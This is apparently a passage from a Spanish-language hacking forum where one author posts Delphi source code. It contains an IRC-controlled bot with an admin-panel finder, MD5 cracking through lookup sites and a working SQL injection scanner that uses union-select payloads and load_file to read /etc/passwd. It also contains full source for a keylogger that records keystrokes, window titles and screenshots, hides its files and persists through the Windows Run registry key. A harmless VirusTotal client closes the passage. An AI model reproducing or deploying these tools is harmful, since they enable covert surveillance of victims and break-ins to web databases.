          IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
          IdIRC1.Say(ANicknameFrom, '!help <?>');
          IdIRC1.Say(ANicknameFrom, 'Good Bye');
        end;

        //

        // LocateIP

        PerlRegEx1.Regex := '!locateip (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin

          sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] LocateIP : Working');

          IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');

          par := TIdMultiPartFormDataStream.Create;
          par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);

          rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

          PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
          PerlRegEx2.Subject := rta;

          if PerlRegEx2.Match then
          begin
            target := PerlRegEx2.SubExpressions[2];

            rta := IdHTTP1.Get(
              'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
                target);

            PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin

              IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
                );

            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
            end;

            PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
                  [2]);

            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
            end;

            PerlRegEx2.Regex :=
              'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
                  [2]);
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
            end;

            //

            // Get DNS

            rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);

            PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
            PerlRegEx2.Subject := rta;

            while PerlRegEx2.MatchAgain do
            begin
              for z := 1 to PerlRegEx2.SubExpressionCount do
                IdIRC1.Say(ANicknameFrom,
                  '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
            end;

          end;

          sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] LocateIP : Finished');

          IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');

          //
        end;

        //

        // PanelFinder

        PerlRegEx1.Regex := '!panel (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin
          //

          sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');

          sMemo1.Lines.Add('[+] PanelFinder : Working');

          try

            IdHTTP := TIdHTTP.Create(nil);

            for i := Low(paginas) to High(paginas) do
              try

                sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
                Form2.sStatusBar1.Update;

                IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
                if IdHTTP.ResponseCode = 200 then
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
                      + '/' + paginas[i]);
              except
                on E: EIdHttpProtocolException do
                  ;
                on E: Exception do
                  ;
              end;
          finally
            IdHTTP.Free;
          end;

          sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');

          sMemo1.Lines.Add('[+] PanelFinder : Finished');

          //
        end;

        //

        // Crack MD5

        PerlRegEx1.Regex := '!crackmd5 (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin

          sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] CrackMD5 : Working');

          IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');

          sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
          Form2.sStatusBar1.Update;

          rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
              PerlRegEx1.SubExpressions[1]);

          PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
          PerlRegEx2.Subject := rta;
          if PerlRegEx2.Match then
          begin
            IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                + ':' + PerlRegEx2.SubExpressions[2]);
          end
          else
          begin

            rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
                PerlRegEx1.SubExpressions[1]);

            PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then

            begin

              if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
              begin
                IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                    + ':' + PerlRegEx2.SubExpressions[1]);
              end
              else

              begin

                sStatusBar1.Panels[0].Text :=
                  '[+] Searching in md52.altervista.org ...';
                Form2.sStatusBar1.Update;

                rta := IdHTTP1.Get
                  ('http://md52.altervista.org/index.php?md5=' +
                    PerlRegEx1.SubExpressions[1]);

                PerlRegEx2.Regex :=
                  '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
                PerlRegEx2.Subject := rta;

                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                      + ':' + PerlRegEx2.SubExpressions[1]);
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
                end;
              end;

            end;
          end;

          sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] CrackMD5 : Finished');

          IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');

        end;

        //

        // SQLI Scanner

        PerlRegEx1.Regex := '!sqli (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then

        begin

          sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] SQLI Scanner : Working');

          IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');

          pass1 := '+';
          pass2 := '--';

          urltest := 'concat(0x4b30425241,1,0x4b30425241)';

          sStatusBar1.Panels[0].Text := '[+] Checking ...';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] Checking ...');

          code := IdHTTP1.Get
            (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
              pass2);

          codedos := IdHTTP1.Get
            (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
              pass2);

          if not(code = codedos) then
          begin

            IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');

            sStatusBar1.Panels[0].Text := '[+] Finding columns number';
            Form2.sStatusBar1.Update;

            IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');

            urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
              pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
            urlgen := '1';
            for i := 2 to 36 do
            begin
              sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
              Form2.sStatusBar1.Update;
              urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
                + ',0x4b30425241)';
              urlgen := urlgen + ',' + IntToStr(i);
              code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
              PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
              PerlRegEx2.Subject := code;

              if PerlRegEx2.Match then
              begin

                IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
                IdIRC1.Say(ANicknameFrom,
                  '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');

                urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
                  'hackman', []);
                full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
                  pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
                  urlgen;

                IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);

                //

                pass1 := '+';
                pass2 := '--';

                hextest := '0x2f6574632f706173737764'; // /etc/passwd
                hextest := '0x633A2F78616D70702F726561642E747874';
                // #c:/xampp/read.txt

                web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
                web2 := StringReplace(full, 'hackman',
                  'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
                web3 := StringReplace(full, 'hackman',
                  'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
                    hextest + '))))', []);

                sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
                Form2.sStatusBar1.Update;

                code := IdHTTP1.Get
                  (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
                end;

                code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
                    'information_schema.tables' + pass2);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin

                  IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
                end;

                code := IdHTTP1.Get(web3);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
                end;

                sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
                Form2.sStatusBar1.Update;

                code := IdHTTP1.Get(web2);

                PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin

                  IdIRC1.Say(ANicknameFrom,
                    '[+] User : ' + PerlRegEx2.SubExpressions[1]);
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Version : ' + PerlRegEx2.SubExpressions[3]);

                  sStatusBar1.Panels[0].Text := '[+] Done';
                  Form2.sStatusBar1.Update;
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
                  sStatusBar1.Panels[0].Text := '[-] DB details not found';
                  Form2.sStatusBar1.Update;
                end;


                //

                sStatusBar1.Panels[0].Text := '[+] Done';
                Form2.sStatusBar1.Update;

                IdIRC1.Say(ANicknameFrom, '[+] Done');

                sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

                sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
                Form2.sStatusBar1.Update;

                IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

                abort;
              end
            end;
            sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
            Form2.sStatusBar1.Update;
            IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
          end
          else
          begin
            sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
            Form2.sStatusBar1.Update;
            IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
          end;

          sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

          sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

        end;

      end;
    end;

    procedure TForm2.sButton1Click(Sender: TObject);
    var
      nick: string;
    begin

      nick := 'ClapTrap';

      IdIRC1.Host := sEdit1.Text;
      IdIRC1.Port := StrToInt(sEdit2.Text);
      IdIRC1.Nickname := nick;
      IdIRC1.Username := nick + ' 1 1 1 1';
      IdIRC1.AltNickname := nick + '-l33t';

      try

        IdIRC1.Connect;
        IdIRC1.Join(sEdit3.Text);

        sStatusBar1.Panels[0].Text := '[+] Connected';
        Form2.sStatusBar1.Update;

      except
        sStatusBar1.Panels[0].Text := '[-] Error';
        Form2.sStatusBar1.Update;
      end;

    end;

    procedure TForm2.sButton2Click(Sender: TObject);
    begin

      IdIRC1.Part(sEdit3.Text);
      IdIRC1.Disconnect();

      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form2.sStatusBar1.Update;

    end;

    end.

    // The End ?


    En honor a ClapTrap el robot gracioso de BorderLands xDD.

    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#159
Delphi / [Delphi] DH KeyCagator 0.2
Noviembre 08, 2013, 12:42:29 PM
Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.

El keylogger tiene las siguientes funciones :

  • Captura teclas reconociendo mayusculas y minusculas
  • Captura el nombre de la ventana actual
  • Captura un screenshot del escritorio cada 1 hora
  • Guarda todos los registros en un archivo HTML "ordenado"
  • Oculta todos los archivos relacionados con el keylogger
  • Se mueve y oculta en una carpeta de Windows
  • Se carga cada vez que inicia Windows

    * Usen shift+F9 para abrir el panel de control.

    Unas imagenes :





    El codigo :

    Código: delphi

    // DH Keycagator 0.2
    // (C) Doddy Hackman 2013

    unit dhkey;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;

    type
      TForm1 = class(TForm)
        Image1: TImage;
        GroupBox1: TGroupBox;
        Edit1: TEdit;
        Button1: TButton;
        Timer1: TTimer;
        procedure Button1Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses dhmain;
    {$R *.dfm}

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      password: string;
    begin

      password := '123'; // Edit the password

      if (Edit1.Text = password) then
      begin
        Form1.Hide;
        Form2.Show;
      end
      else
      begin
        ShowMessage('Fuck You');
      end;

    end;

    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Form1.Hide;
      Abort;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
      dir: string;
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      her: TRegistry;
    begin

      Application.ShowMainForm := False;

      nombrereal := ExtractFileName(ParamStr(0));
      rutareal := ParamStr(0);
      yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;

      MoveFile(Pchar(rutareal), Pchar(yalisto));

      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

      her := TRegistry.Create;
      her.RootKey := HKEY_LOCAL_MACHINE;

      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
      her.WriteString('System', yalisto);
      her.Free;

      dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
        FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

      savefile('logs.html',
        '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      re: Longint;
    begin

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        re := GetAsyncKeyState(120);
        If re = -32767 then
        Begin
          Form1.Show;
        End;
      end;

    end;

    end.

    // The End ?


    Código: delphi

    // DH KeyCagator 0.2
    // (C) Doddy Hackman 2013

    unit dhmain;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;

    type
      TForm2 = class(TForm)
        Image1: TImage;
        GroupBox1: TGroupBox;
        GroupBox2: TGroupBox;
        GroupBox3: TGroupBox;
        Button1: TButton;
        Button2: TButton;
        Button3: TButton;
        Button4: TButton;
        Label1: TLabel;
        Timer1: TTimer;
        Timer2: TTimer;
        Timer3: TTimer;
        Image2: TImage;
        Label2: TLabel;
        procedure FormCreate(Sender: TObject);
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure Timer3Timer(Sender: TObject);
        procedure Button4Click(Sender: TObject);
      private

      private
        Nombre2: string;

        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    procedure TForm2.Button1Click(Sender: TObject);
    begin
      Label1.font.color := clLime;
      Label1.Caption := 'Online';
      Timer1.Enabled := True;
      Timer2.Enabled := True;
      Timer3.Enabled := True;
    end;

    procedure TForm2.Button2Click(Sender: TObject);
    begin
      Label1.font.color := clRed;
      Label1.Caption := 'Offline';
      Timer1.Enabled := False;
      Timer2.Enabled := False;
      Timer3.Enabled := False;
    end;

    procedure TForm2.Button3Click(Sender: TObject);
    begin
      ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
    end;

    procedure TForm2.Button4Click(Sender: TObject);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    var
      dir: string;
    begin

      dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
        FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

      Label1.font.color := clLime;
      Label1.Caption := 'Online';
      Timer1.Enabled := True;
      Timer2.Enabled := True;
      Timer3.Enabled := True;
    end;

    procedure TForm2.Timer1Timer(Sender: TObject);
    var
      i: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      // Others

      for i := Low(n_raros) to High(n_raros) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_raros[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_raros[i]);
        end;
      end;

      // Numbers

      for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_derecha[i]);
        end;
      end;

      for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_izquierda[i]);
        end;
      end;

      // SHIFT

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        for i := Low(n_shift) to High(n_shift) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_shift[i]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_shift[i]);
          end;
        end;

        for i := 65 to 90 do
        begin
          Result := GetAsyncKeyState(i);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(i + 0));
          End;
        end;

      end;

      // MAYUS

      if (GetKeyState(20) = 0) then
      begin
        mayus := 32;
      end
      else
      begin
        mayus := 0;
      end;

      for i := 65 to 90 do
      begin
        Result := GetAsyncKeyState(i);
        If Result = -32767 then
        Begin
          savefile('logs.html', Chr(i + mayus));
        End;
      end;

    end;

    procedure TForm2.Timer2Timer(Sender: TObject);
    var
      ventana1: array [0 .. 255] of char;
      nombre1: string;

    begin

      GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

      nombre1 := ventana1;

      if not(nombre1 = Nombre2) then
      begin
        Nombre2 := nombre1;
        savefile('logs.html',
          '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
      end;

    end;

    procedure TForm2.Timer3Timer(Sender: TObject);
    var
      foto1: TBitmap;
      foto2: TJpegImage;
      ventana: HDC;
      generado: string;

    begin

      ventana := GetWindowDC(GetDesktopWindow);

      foto1 := TBitmap.Create;
      foto1.PixelFormat := pf24bit;
      foto1.Height := Screen.Height;
      foto1.Width := Screen.Width;

      BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
        SRCCOPY);

      foto2 := TJpegImage.Create;
      foto2.Assign(foto1);
      foto2.CompressionQuality := 60;

      generado := IntToStr(Random(100)) + '.jpg';

      foto2.SaveToFile(generado);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);

      savefile('logs.html', '<br><br><center><img src=' + generado +
          '></center><br><br>');

    end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#160
Delphi / [Delphi] VirusTotal Scanner 0.1
Noviembre 01, 2013, 01:26:49 PM
Un simple programa en Delphi para usar el API de VirusTotal.

Una imagen :



El codigo :

Código: delphi

// VirusTotal Scanner 0.1
// (C) Doddy Hackman 2013

unit virus;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, StdCtrls, sButton, sMemo, IdMultipartFormData, DBXJSON,
  PerlRegEx, IdHashMessageDigest, idHash, sEdit, sGroupBox, ComCtrls, sListView,
  sStatusBar, acPNG, ExtCtrls;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    sSkinManager1: TsSkinManager;
    PerlRegEx1: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    OpenDialog1: TOpenDialog;
    sGroupBox2: TsGroupBox;
    sListView1: TsListView;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;

    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);

  private

    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function convertirmd5(const archivo: string): string;
var
  valormd5: TIdHashMessageDigest5;
  archivox: TFileStream;
begin

  valormd5 := TIdHashMessageDigest5.Create;
  archivox := TFileStream.Create(archivo, fmOpenRead);
  Result := valormd5.HashStreamAsHex(archivox)

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.filename;
  end;
end;

procedure TForm1.sButton2Click(Sender: TObject);

var
  datos: TIdMultiPartFormDataStream;
  code: string;
  antivirus: string;
  resultado: string;

  html: string;

begin

  if FileExists(sEdit1.Text) then
  begin

    sMemo1.Clear;
    sListView1.Clear;

    sStatusBar1.Panels[0].Text := '[+] Scanning ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('resource', convertirmd5(sEdit1.Text));
    datos.AddFormField('apikey',
      'fuck you');

    code := IdHTTP1.Post('http://www.virustotal.com/vtapi/v2/file/report',
      datos);

    code := StringReplace(code, '{"scans":', '', [rfReplaceAll, rfIgnoreCase]);

    PerlRegEx1.Regex :=
      '"(.*?)": {"detected": (.*?), "version": (.*?), "result": (.*?), "update": (.*?)}';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin

      antivirus := PerlRegEx1.SubExpressions[1];
      resultado := PerlRegEx1.SubExpressions[4];
      resultado := StringReplace
        (resultado, '"', '', [rfReplaceAll, rfIgnoreCase]);

      with sListView1.Items.Add do
      begin
        Caption := antivirus;
        if (resultado = 'null') then
        begin
          SubItems.Add('Clean');
        end
        else
        begin
          SubItems.Add(resultado);
        end;
      end;

    end;

    PerlRegEx1.Regex := '"scan_id": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Scan_ID : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex := '"scan_date": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Scan_Date : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex := '"permalink": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] PermaLink : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex :=
      '"verbose_msg": "(.*?)", "total": (.*?), "positives": (.*?),';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Founds : ' + PerlRegEx1.SubExpressions[3]
          + '/' + PerlRegEx1.SubExpressions[2]);
    end;
    sStatusBar1.Panels[0].Text := '[+] Done';
    Form1.sStatusBar1.Update;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[-] File Not Found';
    Form1.sStatusBar1.Update;
  end;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.